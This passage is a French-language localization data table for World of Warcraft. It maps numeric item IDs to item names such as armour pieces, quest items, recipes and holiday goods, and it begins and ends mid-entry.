Haut-de-chausses de l\'ours de guerre",[20255]="Bottes de marche silencieuse",[20256]="Ruban de sacrifice du goulet des Chanteguerres",[20257]="Gantelets Furie-des-mers",[20258]="Bâton de cérémonie zulien",[20259]="Gants en peau de panthère des ombres",[20260]="Jambières Furie-des-mers",[20261]="Ceinture en peau de panthère des ombres",[20262]="Bottes Furie-des-mers",[20263]="Heaume Gurubashi",[20264]="Gantelets de garde-paix",[20265]="Bottes de garde-paix",[20266]="Jambières de garde-paix",[20295]="Jambières en écailles de dragon bleu",[20296]="Gantelets en écailles de dragon vert",[20310]="Peau de démon écorché",[20369]="Poings d\'azurite",[20371]="Oeuf de murloc bleu",[20373]="Dard de scorpide cinglepierre",[20374]="Dard de pinceur cinglepierre",[20375]="Dard d\'écorcheur cinglepierre",[20376]="Croc de glisseuse du sable",[20377]="Croc de traqueuse des rochers",[20378]="Fragment de la tablette du Crépuscule",[20379]="Sacoche de Noggle",[20380]="Cuirasse de rêvécaille",[20381]="Rêvécaille",[20382]="Patron : Cuirasse de rêvécaille",[20383]="Tête du seigneur des couvées Lanistaire",[20384]="Fragment de carapace de silithide",[20385]="Pince de Poigne-de-mort",[20387]="Paquet de boules puantes des Réprouvés",[20388]="Sucette",[20389]="Bonbons",[20390]="Barre de chocolat",[20391]="Masque de gnome (H)",[20392]="Masque de gnome (F)",[20393]="Sac de friandises",[20394]="Lexique du Crépuscule - Chapitre 1",[20395]="Lexique du Crépuscule - Chapitre 2",[20396]="Lexique du Crépuscule - Chapitre 3",[20397]="Pirate",[20398]="Ninja",[20399]="Gnome lépreux",[20400]="Sac citrouille",[20401]="Tablette du Crépuscule réparée",[20402]="Agent de Nozdormu",[20403]="Mandataire de Nozdormu",[20404]="Texte du Crépuscule crypté",[20405]="Transcription décodée de la tablette",[20406]="Mantelet de sectateur du Crépuscule",[20407]="Robe de sectateur du Crépuscule",[20408]="Capuche de sectateur du Crépuscule",[20409]="Fantôme",[20410]="Chauve-souris",[20411]="Squelette",[20412]="Monster - Polearm, PVPAlliance_A01",[20413]="Aléatoire",[20414]="Feu follet",[20415]="La Guerre des sables changeants",[20416]="Blason de signal : Feu",[20417]="Monster - Glaive - 2 Blade Silver (offhand)",[20418]="Blason de signal : Tonnerre",[20419]="Blason de signal : Terre",[20420]="Blason de signal : Eau",[20422]="Médaillon de statut de sectateur du Crépuscule",[20424]="Chair de ver des sables",[20425]="Bâton noueux de conseiller",[20426]="Bague de conseiller",[20427]="Cape de soigneur de bataille",[20428]="Cape de conservateur",[20429]="Bague de légionnaire",[20430]="Epée de légionnaire",[20431]="Bague de gardien du savoir",[20432]="Chevalière de signal : Feu",[20433]="Chevalière de signal : Tonnerre",[20434]="Bâton de gardien du savoir",[20435]="Chevalière de signal : Pierre",[20436]="Chevalière de signal : Eau",[20437]="Arc de voltigeur",[20438]="Arc d\'estafette",[20439]="Bague de protecteur",[20440]="Epée de protecteur",[20441]="Lame d\'éclaireur",[20442]="Médaillon d\'éclaireur",[20443]="Lame de sentinelle",[20444]="Médaillon de sentinelle",[20447]="Sceptre de signal : Feu",[20448]="Sceptre de signal : Tonnerre",[20449]="Sceptre de signal : Pierre",[20450]="Sceptre de signal : Eau",[20451]="Anneau d\'autorité de sectateur du Crépuscule",[20452]="Boulettes fumées du désert",[20453]="Trousse de transcription du géologue",[20454]="Reproduction de la Ruche\'Zora",[20455]="Reproduction de la Ruche\'Ashi",[20456]="Reproduction de la Ruche\'Regal",[20457]="Cerveau de silithide de la Ruche\'Ashi",[20458]="Cerveau de silithide de la Ruche\'Zora",[20459]="Cerveau de silithide de la Ruche\'Regal",[20461]="Lettre perdue de Brann Barbe-de-bronze",[20463]="Prisme cristallin orné de glyphes",[20464]="Glyphes d\'appel",[20465]="Mécanisme de déverrouillage du cristal",[20466]="Chevalière de Vyral",[20467]="Page de recette déchirée",[20468]="Monster - Item, Orb - A01 Green",[20469]="Articles du Vrai Croyant décodés",[20470]="Orbe de divination de Solanian",[20471]="Parchemin de magie du Fléau",[20472]="Journal de Solanian",[20474]="Sacoche de livres de Haut-Soleil",[20476]="Brassards de traqueuse des sables",[20477]="Gantelets de traqueuse des sables",[20478]="Cuirasse de traqueuse des sables",[20479]="Cuirasse de crache-feu",[20480]="Gantelets de crache-feu",[20481]="Brassards de crache-feu",[20482]="Esquille arcanique",[20483]="Esquille arcanique contaminée",[20487]="Lok\'delar, bâton des Gardiens anciens DEP",[20488]="Rhok\'delar, arc long des Gardiens anciens DEP",[20490]="Bonbon à la menthe de Forgefer",[20491]="Bonbon à la menthe de Fossoyeuse",[20492]="Nougat de Hurlevent",[20493]="Nougat d\'Orgrimmar",[20494]="Boule de gomme de Gnomeregan",[20495]="Boule de gomme sombrelance",[20496]="Massepain de Darnassus",[20497]="Massepain des Pitons-du-Tonnerre",[20498]="Chitine de silithide",[20499]="Chitine brisée de silithide",[20500]="Carapace légère de silithide",[20501]="Carapace lourde de silithide",[20503]="Esprit de l\'eau amoureux",[20504]="Lame de Sancteforge",[20505]="Chevalière chevaleresque",[20506]="Patron : Brassards de crache-feu",[20507]="Patron : Gantelets de crache-feu",[20508]="Patron : Cuirasse de crache-feu",[20509]="Patron : Brassards de traqueuse des sables",[20510]="Patron : Gantelets de traqueuse des sables",[20511]="Patron : Cuirasse de traqueuse des sables",[20512]="Orbe sanctifié",[20513]="Blason abyssal",[20514]="Chevalière abyssale",[20515]="Sceptre abyssal",[20516]="Pomme d\'amour",[20517]="Epaulières d\'acier-rasoir",[20518]="Parchemin : Création d\'un blason de signal",[20519]="Chapeau de pirate des mers du Sud",[20520]="Rune ténébreuse",[20521]="Visière de fureur",[20526]="Parchemin : Création d\'un blason de signal",[20527]="Parchemin : Création d\'un blason de signal",[20528]="Parchemin : Création d\'un blason de signal",[20530]="Robe de servitude",[20531]="Parchemin : Création d\'une chevalière de signal",[20532]="Parchemin : Création d\'une chevalière de signal",[20533]="Parchemin : Création d\'une chevalière de signal",[20534]="Eclat abyssal",[20535]="Parchemin : Création d\'une chevalière de signal",[20536]="Moissonneuse d\'âme",[20537]="Bottes runiques ténébreuses",[20538]="Jambières runiques ténébreuses",[20539]="Ceinture runique ténébreuse",[20540]="Parchemin : Création d\'un sceptre de signal",[20541]="Texte du Crépuscule décodé",[20542]="Parchemin : Création d\'un sceptre de signal",[20543]="Parchemin : Création d\'un sceptre de signal",[20544]="Parchemin : Création d\'un sceptre de signal",[20545]="Texte du Crépuscule décodé",[20546]="Patron : Jambières runiques ténébreuses",[20547]="Patron : Bottes runiques ténébreuses",[20548]="Patron : Ceinture runique ténébreuse",[20549]="Gantelets de sombrerune",[20550]="Cuirasse de sombrerune",[20551]="Heaume de sombrerune",[20552]="Texte du Crépuscule décodé",[20553]="Plans : Gantelets de sombrerune",[20554]="Plans : Cuirasse de sombrerune",[20555]="Plans : Heaume de sombrerune",[20556]="Bâton sauvage",[20557]="Bonbon à la citrouille de la Sanssaint",[20558]="Marque d\'honneur du goulet des Chanteguerres",[20559]="Marque d\'honneur du bassin Arathi",[20560]="Marque d\'honneur de la vallée d\'Alterac",[20561]="Masque de nain",[20562]="Masque de naine",[20563]="Masque d\'elfe de la nuit (F)",[20564]="Masque d\'elfe de la nuit (H)",[20565]="Masque d\'humaine",[20566]="Masque d\'humain",[20567]="Masque de trollesse",[20568]="Masque de troll",[20569]="Masque d\'orque",[20570]="Masque d\'orc",[20571]="Masque de taurène",[20572]="Masque de tauren",[20573]="Masque de mort-vivant",[20574]="Masque de morte-vivante",[20575]="Tunique de dragonnet noir",[20576]="Patron : Tunique de dragonnet noir",[20577]="Lame de cauchemar",[20578]="Croc-de-dragon émeraude",[20579]="Cape en peau de dragon vert",[20580]="Marteau de fureur bestiale",[20581]="Bâton de croissance luxuriante",[20582]="Pierre de transe",[20599]="Arbalète en bois de fer poli",[20600]="Chevalière de Malfurion",[20601]="Besace de butin",[20602]="Coffre de butin",[20603]="Sac de butin",[20604]="Nettoyeur de boules puantes",[20605]="Oeufs pourris",[20606]="Plume vaudou ambre",[20607]="Plume vaudou bleue",[20608]="Plume vaudou verte",[20610]="Oeil d\'araignée injecté de sang",[20611]="Griffe noire épaisse",[20612]="Pierre du Fléau inerte",[20613]="Bois pourri",[20614]="Essence de Vénéneuse",[20615]="Couvre-bras aiguillon-de-dragon",[20616]="Garde-poignets os-de-dragon",[20617]="Jambières anciennes corrodées",[20618]="Gantelets de la puissance illusoire",[20619]="Grèves gravées à l\'acide",[20620]="Pierre de pouvoir sacrée",[20621]="Bottes de la lande sans fin",[20622]="Collier cœur-de-dragon",[20623]="Diadème des rêves troublés",[20624]="Anneau des non-vivants",[20625]="Ceinture de la tourbière sombre",[20626]="Protège-poignets d\'écorce noire",[20627]="Pantalon du cœur noir",[20628]="Coiffe de croissance déviante",[20629]="Protège-tibias malveillants",[20630]="Gantelets de la lumière rayonnante",[20631]="Mules de mendiant",[20632]="Bague de la déchirure d\'esprit",[20633]="Spallières contre nature en cuir",[20634]="Bottes d\'effroi",[20635]="Habit enchâssé de jade",[20636]="Cristal d\'hibernation",[20637]="Espauliers gravés à l\'acide",[20638]="Jambières de l\'esprit dément",[20639]="Cuissards ornés de glyphes étranges",[20640]="Seau de tête des mers du Sud",[20641]="Bottes mojo des mers du Sud",[20642]="Tunique noble antique",[20643]="Coiffe de réserviste de Fossoyeuse",[20644]="Objet noyé dans les cauchemars",[20645]="Murmure de la nature",[20646]="Marque de trotteur des sables",[20647]="Dague en cristal noir",[20648]="Marteau forgé à froid",[20649]="Pendentif du prisme solaire",[20650]="Gantelets du vent du désert",[20652]="Mules abyssales en tissu",[20653]="Gantelets abyssaux en plaques",[20654]="Bâton de guerre d\'améthyste",[20655]="Protège-mains abyssaux en tissu",[20656]="Solerets abyssaux en mailles",[20657]="Stylet à pointe de cristal",[20658]="Bottes abyssales en cuir",[20659]="Garde-mains abyssaux en mailles",[20660]="Couteau de brèche tranche-pierre",[20661]="Gants abyssaux en cuir",[20662]="Grèves abyssales en plaques",[20663]="Arc de frappe pénétrante",[20664]="Echarpe abyssale en tissu",[20665]="Jambières abyssales en cuir",[20666]="Marteau de guerre en acier durci",[20667]="Ceinture abyssale en cuir",[20668]="Garde-jambes abyssaux en mailles",[20669]="Claymore en sombrepierre",[20670]="Etreinte abyssale en mailles",[20671]="Garde-jambes abyssaux en plaques",[20672]="Baguette de cristal étincelant",[20673]="Ceinturon abyssal en plaques",[20674]="Pantalon abyssal en tissu",[20675]="Etripeur d\'âme",[20676]="Texte du Crépuscule décodé",[20677]="Texte du Crépuscule décodé",[20678]="Texte du Crépuscule décodé",[20679]="Texte du Crépuscule décodé",[20680]="Espauliers abyssaux en mailles",[20681]="Brassards abyssaux en cuir",[20682]="Bague de focalisation élémentaire",[20683]="Epaulettes abyssales en plaques",[20684]="Garde-bras abyssaux en mailles",[20685]="Collier du front de mer",[20686]="Amict abyssal en tissu",[20687]="Protège-bras abyssaux en plaques",[20688]="Garde terrestre",[20689]="Epaulières abyssales en cuir",[20690]="Protège-poignets abyssaux en tissu",[20691]="Cape des Cisailles",[20692]="Bague multicolore",[20693]="Cape lestée",[20694]="Orbe noir luminescent",[20695]="Collier de guerre abyssal",[20696]="Maillet à pointes de cristal",[20697]="Cape brochée de cristal",[20698]="Lame d\'harmonisation élémentaire",[20699]="Cuissards de réserviste cénarien",[20700]="Cuissards de réserviste cénarien",[20701]="Garde-jambes de réserviste cénarien",[20702]="Garde-jambes de réserviste cénarien",[20703]="Jambières de réserviste cénarien",[20704]="Jambières de réserviste cénarien",[20705]="Pantalon de réserviste cénarien",[20706]="Pantalon de réserviste cénarien",[20707]="Pantalon de réserviste cénarien",[20708]="Malle soigneusement scellée",[20709]="Rhum doux de Rumsey",[20710]="Grèves incrustées de cristaux",[20711]="Grèves revêtues de cristaux",[20712]="Gantelets de la marche aride",[20713]="Gantelets de traqueur du désert",[20714]="Bottes de tempête de sable",[20715]="Bottes d\'arpenteur de dunes",[20716]="Gants en peau de ver des sables",[20717]="Gants de la fleur du désert",[20718]="Monster - Staff, Jeweled Yellow Staff w/Low Purple Glow",[20719]="Monster - Staff, Jeweled D01/B02 Yellow w/Low Red Flame",[20720]="Lame du noir murmure",[20721]="Bague du sectateur",[20722]="Lance-balles en cristal",[20723]="Pioche loyale de Brann",[20724]="Bâton noirbois corrompu",[20725]="Cristal de nexus",[20726]="Formule : Enchantement de gants (Menace)",[20727]="Formule : Enchantement de gants (Puissance de l\'Ombre)",[20728]="Formule : Enchantement de gants (Puissance du givre)",[20729]="Formule : Enchantement de gants (Puissance du feu)",[20730]="Formule : Enchantement de gants (Pouvoir de guérison)",[20731]="Formule : Enchantement de gants (Agilité excellente)",[20732]="Formule : Enchantement de cape (Résistance au Feu supérieure)",[20733]="Formule : Enchantement de cape (Résistance à la Nature supérieure)",[20734]="Formule : Enchantement de cape (Camouflage)",[20735]="Formule : Enchantement de cape (Discrétion)",[20736]="Formule : Enchantement de cape (Esquive)",[20738]="Monster - Mace, Scepter of the Shifting Sands",[20741]="Totem rituel mort-bois",[20742]="Totem rituel des Tombe-hiver",[20744]="Huile de sorcier mineure",[20745]="Huile de mana mineure",[20746]="Huile de sorcier inférieure",[20747]="Huile de mana inférieure",[20748]="Huile de mana brillante",[20749]="Huile de sorcier brillante",[20750]="Huile de sorcier",[20752]="Formule : Huile de mana mineure",[20753]="Formule : Huile de sorcier inférieure",[20754]="Formule : Huile de mana inférieure",[20755]="Formule : Huile de sorcier",[20756]="Formule : Huile de sorcier brillante",[20757]="Formule : Huile de mana brillante",[20758]="Formule : Huile de sorcier mineure",[20761]="Recette : Transmutation du feu élémentaire",[20763]="Arme brisée",[20766]="Sac visqueux",[20767]="Sac couvert de crasse",[20768]="Sac vaseux",[20769]="Suinteux dégoûtant",[20770]="Ichor vert bouillonnant",[20800]="Ecusson cénarien de logistique",[20801]="Ecusson cénarien de tactique",[20802]="Ecusson cénarien de combat",[20803]="Ordres de bataille du Crépuscule",[20805]="Affectation logistique complémentaire",[20806]="Briefing logistique X",[20807]="Briefing logistique I",[20808]="Affectation de combat",[20809]="Affectation tactique",[20810]="Ordre de mission signé",[20844]="Poison mortel",[20858]="Scarabée de pierre",[20859]="Scarabée d\'or",[20860]="Scarabée d\'argent",[20861]="Scarabée en bronze",[20862]="Scarabée de cristal",[20863]="Scarabée d\'argile",[20864]="Scarabée d\'os",[20865]="Scarabée d\'ivoire",[20866]="Idole azur",[20867]="Idole en onyx",[20868]="Idole diaprée",[20869]="Idole en ambre",[20870]="Idole de jaspe",[20871]="Idole en obsidienne",[20872]="Idole vermillon",[20873]="Idole d\'albâtre",[20874]="Idole du soleil",[20875]="Idole de la nuit",[20876]="Idole de la mort",[20877]="Idole du sage",[20878]="Idole de la renaissance",[20879]="Idole de la vie",[20881]="Idole de la lutte",[20882]="Idole de la guerre",[20884]="Anneau de magistrat qiraji",[20885]="Drapé martial qiraji",[20886]="Manche à pointes qiraji",[20888]="Anneau de cérémonie qiraji",[20889]="Drapé royal qiraji",[20890]="Manche orné qiraji",[20926]="Diadème de Vek\'nilash",[20927]="Peau intacte d\'Ouro",[20928]="Manchettes de commandement qiraji",[20929]="Carapace du Dieu très ancien",[20930]="Diadème de Vek\'lor",[20931]="Peau du Grand ver des sables",[20932]="Manchettes de domination qiraji",[20933]="Carcasse du Dieu très ancien",[20939]="Briefing logistique II",[20940]="Briefing logistique III",[20941]="Briefing de combat XII",[20942]="Briefing de combat III",[20943]="Briefing tactique X",[20944]="Briefing tactique IX",[20945]="Briefing tactique II",[20947]="Briefing tactique IV",[20948]="Briefing tactique V",[20949]="Grand livre magique",[20951]="Lunettes de divination de Narain",[21023]="Pyro-côtelettes de chimaerok à la Dirge",[21024]="Filet de chimaerok",[21025]="Recette : Pyro-côtelettes de chimaerok à la Dirge",[21027]="Carcasse de Lakmaeran",[21028]="Poulet de 500 livres",[21029]="Demande de rançon",[21030]="Tourte au kimchi de Darnassus",[21031]="Kimchi de chou",[21032]="Lettre d\'amour de Meridith",[21033]="Kimchi de radis",[21037]="Carte grossière",[21038]="Boule de neige durcie",[21039]="Turban de Narain",[21040]="Robe de Narain",[21041]="Sac d\'or",[21042]="Panoplie spéciale de Narain",[21071]="Sagerelle crue",[21072]="Sagerelle fumée",[21099]="Recette : Sagerelle fumée",[21100]="Pièce des ancêtres",[21103]="Le draconique pour les nuls",[21104]="Le draconique pour les nuls",[21105]="Le draconique pour les nuls",[21106]="Le draconique pour les nuls",[21107]="Le draconique pour les nuls",[21108]="Le draconique pour les nuls",[21109]="Le draconique pour les nuls",[21110]="Le draconique pour les nuls",[21111]="Le draconique pour les nuls : volume II",[21112]="Reliure magique",[21113]="Malle étanche",[21114]="Rhum brun de Rumsey",[21115]="Talisman de Profanateur",[21116]="Talisman de Profanateur",[21117]="Talisman d\'Arathor",[21118]="Talisman d\'Arathor",[21119]="Talisman d\'Arathor",[21120]="Talisman de Profanateur",[21121]="Monster - Item, Flower - Purple",[21122]="Monster - Dagger, Korean A01 Black",[21123]="Monster - Item, Flower - White",[21126]="Dard de la mort",[21128]="Bâton des prophètes qiraji",[21129]="Monster - Axe, Doctor Weavil",[21130]="Journal de Dwenfer",[21131]="Affectation de combat complémentaire",[21132]="Affectation logistique",[21133]="Affectation tactique complémentaire",[21134]="Sombre tranchante de la démence",[21136]="Bouée en arcanite",[21137]="Fragment de sceptre bleu",[21138]="Fragment de sceptre rouge",[21139]="Fragment de sceptre vert",[21140]="Reçu de l\'hôtel des ventes",[21142]="Note trouvée sur le bureau du seigneur Victor Nefarius",[21143]="Ordre de mission non signé",[21144]="Torche d\'invocation de démon",[21145]="Essence de Xandivious",[21146]="Fragment de la corruption du Cauchemar",[21147]="Fragment de la corruption du Cauchemar",[21148]="Fragment de la corruption du Cauchemar",[21149]="Fragment de la corruption du Cauchemar",[21150]="Malle cerclée de fer",[21151]="Rhum de Rumsey label noir",[21153]="Grande sagerelle crue",[21154]="Robe de fête",[21155]="Offrande de paix grumegueule",[21156]="Sac de scarabées",[21157]="Robe de fête verte",[21158]="Rapport de reconnaissance de la Ruche\'Zora",[21160]="Rapport de reconnaissance de la Ruche\'Regal",[21161]="Rapport de reconnaissance de la Ruche\'Ashi",[21162]="Bouche-noire huileux boursouflé",[21164]="Morue rochécaille boursouflée",[21165]="Briefing tactique VI",[21166]="Briefing tactique VII",[21167]="Briefing tactique VIII",[21171]="Chope de fête remplie",[21174]="Chope de fête vide",[21175]="Le Sceptre des Sables changeants",[21176]="Cristal de résonance qiraji noir",[21177]="Symbole des rois",[21178]="Gants de puissance terrestre",[21179]="Bague du courroux terrestre",[21180]="Choc de terre",[21181]="Grâce de la terre",[21182]="Bague de puissance terrestre",[21183]="Gilet de puissance de la terre",[21184]="Brassards de Fonderoc",[21185]="Orbe calme-terre",[21186]="Brassards Furie-du-roc",[21187]="Cape en tisse-terre",[21188]="Poing de Cénarius",[21189]="Puissance de Cénarius",[21190]="Courroux de Cénarius",[21191]="Cadeau soigneusement emballé",[21192]="Monster - Axe, 2H UBER Blackwing",[21196]="Chevalière du Vol de bronze",[21197]="Chevalière du Vol de bronze",[21198]="Chevalière du Vol de bronze",[21199]="Chevalière du Vol de bronze",[21200]="Chevalière du Vol de bronze",[21201]="Chevalière du Vol de bronze",[21202]="Chevalière du Vol de bronze",[21203]="Chevalière du Vol de bronze",[21204]="Chevalière du Vol de bronze",[21205]="Chevalière du Vol de bronze",[21206]="Chevalière du Vol de bronze",[21207]="Chevalière du Vol de bronze",[21208]="Chevalière du Vol de bronze",[21209]="Chevalière du Vol de bronze",[21210]="Chevalière du Vol de bronze",[21211]="Bourse de poudre de renne",[21212]="Houx frais",[21213]="Houx préservé",[21214]="Tome d\'Eclair de givre",[21215]="Gâteau aux fruits secs de Graccu",[21216]="Cadeau extra-spécial des Gourmandises Fumebois",[21217]="Délice de sagerelle",[21218]="Cristal de résonance qiraji bleu",[21219]="Recette : Délice de sagerelle",[21220]="Tête d\'Ossirian l\'Intouché",[21221]="Oeil de C\'Thun",[21222]="Chitine cuirassée",[21223]="Pierre noire",[21224]="Fragment d\'armure ancienne",[21225]="Carcasse de silithide lourde",[21226]="Pierre runique",[21227]="Crâne d\'ancien héros",[21228]="Malle cerclée de mithril",[21229]="Insigne de seigneur qiraji",[21230]="Ancien artéfact qiraji",[21232]="Armes impériales qiraji",[21235]="Rôti du Voile d\'hiver",[21237]="Tenue de parade impériale qiraji",[21241]="Lait de poule du Voile d\'hiver",[21242]="Hache de guerre qiraji bénie",[21243]="Barracuda boursouflé",[21244]="Pugio qiraji béni",[21245]="Briefing tactique I",[21248]="Briefing de combat IV",[21249]="Briefing de combat V",[21250]="Briefing de combat VI",[21251]="Briefing de combat VII",[21252]="Briefing de combat VIII",[21253]="Briefing de combat IX",[21254]="Biscuit du Voile d\'hiver",[21255]="Briefing de combat X",[21256]="Briefing de combat XI",[21257]="Briefing logistique IV",[21258]="Briefing logistique IV",[21259]="Briefing logistique V",[21260]="Briefing logistique VI",[21261]="Briefing logistique VI",[21262]="Briefing logistique VIII",[21263]="Briefing logistique VII",[21264]="Briefing logistique VII",[21265]="Briefing logistique IX",[21266]="Affectation logistique",[21267]="Coupe de « santé »",[21268]="Marteau de guerre qiraji béni",[21269]="Rempart qiraji béni",[21270]="Cadeau secoué doucement",[21271]="Cadeau secoué doucement",[21272]="Mousquet qiraji béni",[21273]="Bâton béni d\'acolyte qiraji",[21275]="Bâton béni d\'augure qiraji",[21277]="Yéti mécanique paisible",[21278]="Gants tempétueux",[21279]="Tome de Boule de feu",[21280]="Tome de projectiles des Arcanes",[21281]="Grimoire de Trait de l\'ombre",[21282]="Grimoire d\'Immolation",[21283]="Grimoire de Corruption",[21284]="Codex de Soins supérieurs",[21285]="Codex de Rénovation",[21286]="Monster - Axe, 2H Large Double Bladed, Gold",[21287]="Codex de Prière de soins",[21288]="Libram : Bénédiction de sagesse",[21289]="Libram : Bénédiction de puissance",[21290]="Libram : Lumière sacrée",[21291]="Tablette de Vague de soins",[21292]="Tablette de Totem de force de la terre",[21293]="Tablette de Totem de grâce aérienne",[21294]="Livre de Toucher guérisseur",[21295]="Livre de Feu stellaire",[21296]="Livre de Récupération",[21297]="Manuel de Frappe héroïque",[21298]="Manuel de Cri de guerre",[21299]="Manuel de Vengeance",[21300]="Recueil : Attaque sournoise",[21301]="Boîte à assistant vert",[21302]="Recueil : Poison mortel",[21303]="Recueil : Feinte",[21304]="Guide : Flèches multiples",[21305]="Boîte à assistante rouge",[21306]="Guide : Morsure de serpent",[21307]="Guide : Aspect du faucon",[21308]="Clochette tintinnabulante",[21309]="Boîte de bonhomme de neige",[21310]="Cadeau à l\'emballage multicolore",[21311]="Gilet de gardien de la terre",[21312]="Ceinture du protecteur",[21314]="Lettres et notes sur Metzen",[21315]="Sacoche Fumebois",[21316]="Jambières de l\'ursa",[21317]="Heaume du guide",[21318]="Gants de gardien de la terre",[21319]="Gants du guide",[21320]="Haubergeon du protecteur",[21321]="Cristal de résonance qiraji rouge",[21322]="Etreinte d\'ursa",[21323]="Cristal de résonance qiraji vert",[21324]="Cristal de résonance qiraji jaune",[21325]="Grinche mécanique",[21326]="Défenseur des Grumegueules",[21327]="Cadeau tic-taquant",[21328]="Baguette de liesse festive",[21329]="Couronne de conquérant",[21330]="Spallières de conquérant",[21331]="Cuirasse de conquérant",[21332]="Garde-jambes de conquérant",[21333]="Grèves de conquérant",[21334]="Robe d\'implorateur funeste",[21335]="Mantelet d\'implorateur funeste",[21336]="Chausses d\'implorateur funeste",[21337]="Diadème d\'implorateur funeste",[21338]="Bottillons d\'implorateur funeste",[21340]="Bourse d\'âme",[21341]="Sac en gangrétoffe",[21342]="Sac en gangrétoffe du Magma",[21343]="Robe de l\'énigme",[21344]="Bottes de l\'énigme",[21345]="Protège-épaules de l\'énigme",[21346]="Jambières de l\'énigme",[21347]="Diadème de l\'énigme",[21348]="Tiare de l\'oracle",[21349]="Bottillons de l\'oracle",[21350]="Mantelet de l\'oracle",[21351]="Habit de l\'oracle",[21352]="Chausses de l\'oracle",[21353]="Casque de la genèse",[21354]="Protège-épaules de la genèse",[21355]="Bottes de la genèse",[21356]="Chausses de la genèse",[21357]="Gilet de la genèse",[21358]="Patron : Bourse d\'âme",[21359]="Bottes de dispensateur de mort",[21360]="Casque de dispensateur de mort",[21361]="Spallières de dispensateur de mort",[21362]="Jambières de dispensateur de mort",[21363]="Cadeau de fête",[21364]="Gilet de dispensateur de mort",[21365]="Protège-tibias du Frappeur",[21366]="Diadème du Frappeur",[21367]="Espauliers du Frappeur",[21368]="Jambières du Frappeur",[21370]="Haubert du Frappeur",[21371]="Patron : Sac en gangrétoffe du Magma",[21372]="Diadème d\'implorateur de tempête",[21373]="Protège-tibias d\'implorateur de tempête",[21374]="Haubert d\'implorateur de tempête",[21375]="Jambières d\'implorateur de tempête",[21376]="Espauliers d\'implorateur de tempête",[21377]="Coiffure de plumes mort-bois",[21378]="Briefing logistique I",[21379]="Briefing logistique II",[21380]="Briefing logistique III",[21381]="Briefing logistique IX",[21382]="Briefing logistique V",[21383]="Perles d\'esprit tombe-hiver",[21384]="Briefing logistique VIII",[21385]="Briefing logistique X",[21386]="Affectation logistique complémentaire",[21387]="Couronne de vengeur",[21388]="Grèves de vengeur",[21389]="Cuirasse de vengeur",[21390]="Garde-jambes de vengeur",[21391]="Espauliers de vengeur",[21392]="Faucille de force inflexible",[21393]="Chevalière de force inflexible",[21394]="Drapé de force inflexible",[21395]="Lame de justice éternelle",[21396]="Anneau de justice éternelle",[21397]="Cape de justice éternelle",[21398]="Marteau de la tempête imminente",[21399]="Anneau de la tempête imminente",[21400]="Cape de la tempête imminente",[21401]="Faux du sentier invisible",[21402]="Chevalière du sentier invisible",[21403]="Cape du sentier invisible",[21404]="Dague des ombres voilées",[21405]="Bague des ombres voilées",[21406]="Cape des ombres voilées",[21407]="Masse de vie interminable",[21408]="Bague de vie interminable",[21409]="Cape de vie interminable",[21410]="Martelet de sagesse infinie",[21411]="Anneau de sagesse infinie",[21412]="Voile de sagesse infinie",[21413]="Lame des secrets scellés",[21414]="Bague des secrets scellés",[21415]="Drapé des secrets scellés",[21416]="Kriss des noms inexprimés",[21417]="Anneau des noms inexprimés",[21418]="Voile des noms inexprimés",[21436]="Chevalière de mérite de l\'Alliance",[21438]="Chevalière de mérite de la Horde",[21452]="Bâton des ruines",[21453]="Mantelet de l\'Horusath",[21454]="Epaulières de pierre runique",[21455]="Casque de Sudevent",[21456]="Cape de tempête de sable",[21457]="Brassards de brutalité",[21458]="Gantelets de nouvelle vie",[21459]="Arbalète du destin imminent",[21460]="Heaume de domination",[21461]="Jambières du blizzard noir",[21462]="Gants de la sombre sagesse",[21463]="Manchettes d\'Ossirian",[21464]="Menottes de l\'Intouché",[21465]="Monster - Axe, Insano",[21466]="Dardeur d\'Ayamiss",[21467]="Corselet silithide épais",[21468]="Mantelet de Maz\'Nadir",[21469]="Gantelets de Sudevent",[21470]="Cape du sauveur",[21471]="Serre de concentration furieuse",[21472]="Turban terrevent",[21473]="Oeil de Moam",[21474]="Garde-épaules chitineux",[21475]="Cuissards du destructeur",[21476]="Jambières en écailles d\'obsidienne",[21477]="Anneau de fureur",[21478]="Arc du boyau tendu",[21479]="Gantelets de l\'Inébranlable",[21480]="Gantelets d\'écailles silithide",[21481]="Bottes du protecteur du désert",[21482]="Bottes des sables brûlants",[21483]="Anneau des vents du désert",[21484]="Heaume de rétablissement",[21485]="Fragment du crâne de Buru",[21486]="Gants de l\'essaim",[21487]="Gantelets d\'écailles visqueux",[21488]="Fétiche d\'épines chitineuses",[21489]="Godillots des sables mouvants",[21490]="Ecrase-gelées",[21491]="Brassards d\'écailles du Grandgosier",[21492]="Tueuse-d\'homme des Qiraji",[21493]="Bottes de l\'avant-garde",[21494]="Torsade de Sudevent",[21495]="Cuissards du commandement qiraji",[21496]="Brassards de commandement qiraji",[21497]="Bottes du général qiraji",[21498]="Dague sacrificielle qiraji",[21499]="Habit des Sables changeants",[21500]="Ceinture de l\'inquisition",[21501]="Gants en cuir de silithide raffermi",[21502]="Garde-poignets de saccageur des sables",[21503]="Ceinture du saccageur des sables",[21504]="Charme des Sables changeants",[21505]="Foulard des Sables changeants",[21506]="Pendentif des sables changeants",[21507]="Amulette des Sables changeants",[21508]="Marque de Cénarius",[21509]="Fournitures de l\'effort de guerre d\'Ahn\'Qiraj",[21510]="Fournitures de l\'effort de guerre d\'Ahn\'Qiraj",[21511]="Fournitures de l\'effort de guerre d\'Ahn\'Qiraj",[21512]="Fournitures de l\'effort de guerre d\'Ahn\'Qiraj",[21513]="Fournitures de l\'effort de guerre d\'Ahn\'Qiraj",[21514]="Briefing logistique XI",[21515]="Marque de Remulos",[21517]="Turban gnome de puissance psychique",[21519]="Gui",[21520]="Héritage de Crête-du-corbeau",[21521]="Epée runique du Rouge",[21522]="Douleur de Chantelombre",[21523]="Croc de Korialstrasz",[21524]="Chapeau d\'hiver rouge",[21525]="Chapeau d\'hiver vert",[21526]="Bague des profondeurs glacées",[21527]="Robe des eaux sombres",[21528]="Sac de butin colossal",[21529]="Amulette de bouclier contre l\'ombre",[21530]="Jambières enchâssées d\'onyx",[21531]="Collier en dents de drake",[21532]="Bottes de manœuvre",[21533]="Carcasse du colosse de Zora",[21534]="Carcasse du colosse d\'Ashi",[21535]="Carcasse du colosse de Regal",[21536]="Pierre d\'Élune",[21537]="Raviolis de fête",[21538]="Robe de fête rose",[21539]="Robe de fête violette",[21540]="Lanterne d\'Élune",[21541]="Habit de fête noir",[21542]="Habit de fête",[21543]="Habit de fête turquoise",[21544]="Habit de fête bleu",[21545]="Marchandises des Gourmandises Fumebois",[21546]="Elixir de maîtrise du Feu supérieure",[21547]="Recette : 